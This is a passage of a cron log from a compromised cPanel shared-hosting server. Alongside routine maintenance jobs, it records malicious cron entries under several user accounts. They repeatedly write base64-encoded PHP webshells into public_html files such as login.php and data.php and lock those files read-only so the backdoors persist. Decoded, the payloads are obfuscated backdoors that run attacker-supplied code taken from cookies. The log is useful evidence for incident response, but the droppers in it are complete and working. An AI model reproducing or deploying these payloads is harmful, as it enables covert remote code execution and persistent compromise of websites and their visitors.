ZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:38:01 medusa CROND[5734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:38:01 medusa CROND[5737]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:38:01 medusa CROND[5741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:38:01 medusa CROND[5738]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:38:01 medusa CROND[5739]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:38:01 medusa CROND[5744]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:39:01 medusa CROND[7481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:39:02 medusa CROND[7488]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:39:02 medusa CROND[7489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:39:02 medusa CROND[7490]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:39:02 medusa CROND[7491]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:39:02 medusa CROND[7492]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:39:02 medusa CROND[7493]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 10:39:02 medusa CROND[7496]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 10:39:02 medusa CROND[7495]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 10:39:02 medusa CROND[7498]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:39:02 medusa CROND[7499]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:39:02 medusa CROND[7503]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:39:02 medusa CROND[7505]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:39:02 medusa CROND[7507]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:40:01 medusa CROND[9141]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:40:01 medusa CROND[9143]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 10:40:01 medusa CROND[9178]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 10:40:02 medusa CROND[9201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:40:02 medusa CROND[9202]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 10:40:02 medusa CROND[9204]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 10:40:02 medusa CROND[9205]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 10:40:02 medusa CROND[9206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 10:40:02 medusa CROND[9207]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 10:40:02 medusa CROND[9203]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 10:40:02 medusa CROND[9215]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 10:40:02 medusa CROND[9220]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:40:02 medusa CROND[9221]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:40:02 medusa CROND[9228]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:40:02 medusa CROND[9229]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
